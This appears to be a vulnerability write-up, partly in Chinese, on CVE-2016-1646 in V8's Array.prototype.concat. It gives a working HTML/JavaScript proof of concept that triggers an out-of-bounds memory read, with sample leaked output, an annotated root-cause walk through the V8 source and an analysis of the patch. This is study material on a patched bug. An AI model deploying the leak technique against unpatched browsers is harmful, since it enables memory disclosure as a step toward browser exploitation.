Case study CVE-2016-1646

Bugs

https://bugs.chromium.org/p/chromium/issues/detail?id=594574

Array.prototype.concat did not work correct with complex elements on the
receiver or the prototype chain.

patch

https://chromium.googlesource.com/v8/v8/+/96a2bd8ae8c25e2acbe63319011cbb829b59e3df
[builtins] Fix Array.prototype.concat bug

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<html>
<script language="javascript">
function gc() {
tmp = [];
for (var i = 0; i < 0x100000; i++)
tmp.push(new Uint8Array(10));
tmp = null;
}

b = new Array(10);
b[0] = 0.1; <-- Note that b[1] is a hole!
b[2] = 2.1;
b[3] = 3.1;
b[4] = 4.1;
b[5] = 5.1;
b[6] = 6.1;
b[7] = 7.1;
b[8] = 8.1;
b[9] = 9.1;
b[10] = 10.1;

Object.defineProperty(b.__proto__, 1, { <-- define b.__proto__[1] to gain the control in the middle of the loop
get: function () {
b.length = 1; <-- shorten the array
gc(); <-- shrink the memory
return 1;
},
set: function(new_value){
/* some business logic goes here */
value = new_value
}
});

c = b.concat();
for (var i = 0; i < c.length; i++)
{
document.write(c[i]);
document.write("<br>");
}
</script>
</html>

leak info

1
2
3
4
5
6
7
8
9
10
11
12
my result (it differs):
0.1
1
3.60739284464e-313
2.121995791e-314
0
8.487983164e-314
2.121995791e-314
2.121995791e-314
2.121995791e-314
1.9338903543223e-311
2.610054822887e-312

root cause

vulnerability IterateElements (src/builtin.cc:997),用于迭代访问array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
From line 1025 in src/builtin.cc (function IterateElements):
switch (array->GetElementsKind()) {
case FAST_SMI_ELEMENTS:
case FAST_ELEMENTS:
case FAST_HOLEY_SMI_ELEMENTS:
case FAST_HOLEY_ELEMENTS: {
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
Handle<FixedArray> elements(FixedArray::cast(array->elements()));
int fast_length = static_cast<int>(length); <-- fast_length keeps its value after entering the iteration below
DCHECK(fast_length <= elements->length());
for (int j = 0; j < fast_length; j++) {
HandleScope loop_scope(isolate);
Handle<Object> element_value(elements->get(j), isolate); <-- get the element with index j (leading to oob access)
if (!element_value->IsTheHole()) {
visitor->visit(j, element_value);
} else { <-- if it is a hole, it may go to its prototype for the value with index j
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (!maybe.IsJust()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value, Object::GetElement(isolate, array, j),
false); <-- here we redefine the function to get the value in array's __proto__ with index j
<-- inside our redefinition function we make the length of the array shorter (< fast_length)
visitor->visit(j, element_value);
}
}
}
break;
}

  • int fast_length = static_cast<int>(length);
    fast_length缓存了array原本的length
  • 用一个hole element占位,进入else分支,触发getters,在get里缩短array的length,并进行GC,移动array。
    array的length在回调中被缩小,内存分配被改变,但是在函数里依然按照缓存的长度(fast_length)即原来的length来访问array,于是就访问到了不属于array的内存,造成OOB

(其实直接看代码里写的<–注释就好…)

exploit

patch分析

检查是否有prototype或者receiver在elements里

1
2
3
4
5
6
7
+inline bool HasOnlySimpleReceiverElements(Isolate* isolate,
+ JSReceiver* receiver) {
+ // Check that we have no accessors on the receiver's elements.
....
....
+inline bool HasOnlySimpleElements(Isolate* isolate, JSReceiver* receiver) {
+ // Check that ther are not elements on the prototype.

当有prototype或者receiver在elements里时,切换到slow case,原本的检查并不够严格。

1
2
3
4
5
6
-  if (!receiver->IsJSArray()) {
- // For classes which are not known to be safe to access via elements alone,
- // use the slow case.
+ if (!HasOnlySimpleElements(isolate, *receiver)) {
return IterateElementsSlow(isolate, receiver, length, visitor);
}